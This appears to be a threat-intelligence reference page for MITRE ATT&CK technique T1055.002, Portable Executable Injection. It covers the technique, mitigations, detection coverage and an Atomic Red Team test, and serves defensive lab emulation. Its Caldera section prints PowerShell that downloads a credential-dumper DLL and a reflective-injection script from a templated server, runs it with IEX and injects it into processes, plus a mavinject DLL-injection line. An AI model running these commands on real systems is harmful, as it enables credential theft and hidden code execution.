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ATT&CK Technique

Portable Executable Injection

T1055.002 · stealth, privilege-escalation

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread.

The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.

Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

Windows

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Actors Using This

1

iranScarred Manticore

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Atomic Tests

1

Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.

powershellelevatedwindowsPortable Executable Injection

This test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds.

Start-Process "#{exe_binary}"
Start-Sleep -Seconds 7
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force

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Mitigations

1

MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.

M1040Behavior Prevention on Endpoint

Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack.

Suspicious Process Behavior

Implementation: Use Endpoint Detection and Response (EDR) tools to monitor and block processes exhibiting unusual behavior, such as privilege escalation attempts.
Use Case: An attacker uses a known vulnerability to spawn a privileged process from a user-level application. The endpoint tool detects the abnormal parent-child process relationship and blocks the action.

Unauthorized File Access

Implementation: Leverage Data Loss Prevention (DLP) or endpoint tools to block processes attempting to access sensitive files without proper authorization.
Use Case: A process tries to read or modify a sensitive file located in a restricted directory, such as /etc/shadow on Linux or the SAM registry hive on Windows. The endpoint tool identifies this anomalous behavior and prevents it.

Abnormal API Calls

Implementation: Implement runtime analysis tools to monitor API calls and block those associated with malicious activities.
Use Case: A process dynamically injects itself into another process to hijack its execution. The endpoint detects the abnormal use of APIs like OpenProcess and WriteProcessMemory and terminates the offending process.

Exploit Prevention

Implementation: Use behavioral exploit prevention tools to detect and block exploits attempting to gain unauthorized access.
Use Case: A buffer overflow exploit is launched against a vulnerable application. The endpoint detects the anomalous memory write operation and halts the process.

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Detection Coverage

0/6 layers

Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).

Behavioral / log (Sigma) none

Analytics (MITRE CAR) none

Runtime / container (Falco) none

File / malware (YARA) none

Network (Suricata/Snort) none

Vuln scan (Nuclei) none

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Caldera Emulation

3

MITRE Caldera abilities that emulate this technique - each is an executable action for automated adversary emulation.

credential-accesswindowsInject Cred dumper into process (Spookier)

$url="#{server}/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("file","debugger.dll");
$PBytes = $wc.DownloadData($url);
$wc1 = New-Object System.net.webclient;
$wc1.headers.add("file","Invoke-ReflectivePEInjection.ps1");
IEX ($wc1.DownloadString($url));
Invoke-ReflectivePEInjection -PBytes $PBytes -verbose

defense-evasionwindowsInject Sandcat into process

$url="#{server}/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","shared.go");
$wc.Headers.add("server","#{server}");
$PEBytes = $wc.DownloadData($url);
$wc1 = New-Object System.net.webclient;
$wc1.headers.add("file","Invoke-ReflectivePEInjection.ps1");
IEX ($wc1.DownloadString($url));
Invoke-ReflectivePEInjection -verbose -PBytes $PEbytes -ProcId #{host.process.id}

defense-evasionwindowsSigned Binary Execution - Mavinject

$explorer = Get-Process -Name explorer;
mavinject.exe $explorer.id C:\Users\Public\sandcat.dll

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Comply & Defend

NIST 800-53AC-06, SC-07, SC-18, SI-02, SI-03, SI-04

D3FEND11 defensive techniques

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CVETechnique ActorTool Family

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External lookups - second-class, for what we don’t hold ourselves

MITRE ATT&CK Atomic Red Team car (MITRE)

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